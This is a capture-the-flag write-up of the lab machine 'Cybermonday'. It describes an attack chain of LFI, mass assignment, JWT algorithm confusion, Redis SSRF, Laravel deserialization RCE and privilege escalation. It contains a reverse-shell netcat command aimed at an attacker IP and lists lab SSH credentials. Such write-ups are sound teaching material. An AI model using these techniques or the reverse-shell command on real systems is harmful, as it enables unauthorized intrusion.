Cybermonday

Recon

nmap_scan.log

HTTP (80)

Writeup.png

Laravel Debug

After some playing around the application I started the feroxbuster and application kind of crippled. When I tried registering debug page popped up.

Writeup-1.png

Actually scratch that, the app crashed because I tried registering with already registered email.

Php Version: 8.1.20 Laravel Version: 9.46.0 Laravel Locale: en Laravel Config Cached: false App Debug: true App Env: local

Nginx off-by-slash LFI

Going back to feroxbuster we have /assets redirecting us to /assets/ and it's handled by nginx, not PHP.

Writeup-2.png

There's a vulnerability in nginx called off-by-slash which allows LFI.Breaking Parser Logic - Take Your Path Normalization Off and Pop 0days Outarrow-up-rightCommon Nginx misconfigurations that leave your web server open to attackarrow-up-right

Laravel uses .env for configuration and we can read that.

Git dump

.git also exists so we can do source code review too.

In the /app/Http/Controllers/ProductController.php store function is a bit funky. (https://infosecwriteups.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019barrow-up-right)

But to access this endpoint we need to be Administrator.

Admin from Mass Assignment

The update function in profile is also has a flaw, $data is everything, but mentioned 3 fields. This means we can inject other fields and update them too.

User model has isAdmin field to check for admins.

Writeup-3.png

Now we have access to /dashboard

Writeup-4.png

In changelogs we have internal application: http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77arrow-up-right

Writeup-5.png

Webhooks API

I was trying to see what already builtin, but no matter it didn't accept the request..

Writeup-6.png

Scratch that, it was because ;charset=UTF-8 added by Content Type Converter extension in Burp... only application/json is accepted strictly. No custom characters are allowed in the name tho and we don't know where it saves.

Writeup-9.png

POST /webhooks/create returns Unauthorized

Most probably because our role is user and this role isn't able to create webhooks.

Writeup-7.png

Passive recon in background:

Algorithm confusion

The private key n is leaked, which is not good (for defenders).

https://portswigger.net/kb/issues/00600700_json-web-key-set-disclosedarrow-up-righthttps://crypto-cat.gitbook.io/ctf-writeups/2024/intigriti/web/cat_clubarrow-up-right

Get the public key from n

No more unauthorized error, meaning we are admin.

Writeup-8.png

Blind Redis SSRF

Create the webhook, but with sendRequest action.

Writeup-10.png

The webhook makes clean request with websockets, this should lead to SSRF

Writeup-11.png

https://github.com/platformsh-templates/laravel/blob/master/.env.examplearrow-up-right

Previously we found .env for Laravel and it was using MySQL and Redis. db is probably some container, but Redis is running locally on default port 6379.

From method we are able to inject stuff into the HTTP request. If we want to talk to Redis we can't use HTTP verbs.

Writeup-12.png

The SSRF might be blind, because we get no response with valid Redis commands, like INFO.

https://book.jorianwoltjer.com/networking/redis-valkey-tcp-6379#detection-callbacksarrow-up-righthttps://github.com/empty-jack/ctf-writeups/blob/master/CTFZone-Quals-2019/web-zirconium.mdarrow-up-righthttps://redis.io/docs/latest/commands/migrate/arrow-up-right

MIGRATE was not working.. Going back to the .env I confused two things, MEMCACHED_HOST != Redis, REDIS_HOST is Redis! not localhost...

Fix the url:

A callback \o/

Writeup-13.png

Now we can pull up our own server and get pretty output.

To run INFO we can we EVAL, but odd think is SET should have overridden values, but it didn't? So I updated the key name.

.env says that Laravel session's are prefixed with laravel_session string, but KEYS * isn't showing it...

Scratch that... the token expired $lol$

Laravel Deserialization RCE

Anyway... we can do any actions with Redis, the reason we want Laravel cookies is because they are serialized and serialized data is vulnerable to deserialization attack.

Hacktricks: Laravel Deserialization RCEarrow-up-right -> laravel-exploitsarrow-up-right -> phpggcarrow-up-right

busybox nc 10.10.14.113 4444 -e /bin/bash didn't work, we can do good old bash -i

Update the session:

Reverse Shell

Reload the page and get a shell \o/

MySQL enumeration

MySQL doesn't exist on box, we can either do port forwarding or just work with tools we have, like PHP.

Most probably cybermonday database is not crackable, let's move on to api.

Linpeas

Start enumerating in background while waiting for john.

First I checked if we had any write permissions in .ssh, but nope...

Existing webhook writes "logs" in this directory

Network enumeration

I didn't include linpeas network output, but there are multiple hosts on the network. We don't have any commands to check for hosts, but we can inspect arp tables in /proc/net manually. Our IP is most likely .7 on network.

Docker registry

Most probably registry refers to the Docker Registry. 5000 - Pentesting Docker Registryarrow-up-right

Because Im lazy I didn't want to chisel my way, I started writing PHP and it totally didn't take few hours...

Download all the layers:

/var/www/html contains html, but variables are taken from ENV.

LFI in Logs

LogsController.php seems to be vulnerable to path traversal.

The read method is blocking ../ usage, but later on processeds to remove spaces?... . ./ -> ../ One more bypass is that it needs log word to exist in $logName

Path to logs is /webhooks/:uuid/logs

When requesting to do any actions we get permission denied, looking into apiKeyAuth method we see it wants a hardcoded key.

MySQL_Enumeration_With_PHP.png
Writeup-14.png

Get the environment for application

Writeup-15.png

SSH (22)

We previously found the /mnt/* directory which had authorized_keys leaking username john, if we try to ssh we are successful.

Creds: john:ngFfX2L71Nu

User.txt

Privilege Escalation

We can't use privileged, but we can abuse other things like capabilities and disabling apparmor.

Writeup-16.png

Root.txt

Shadow

Last updated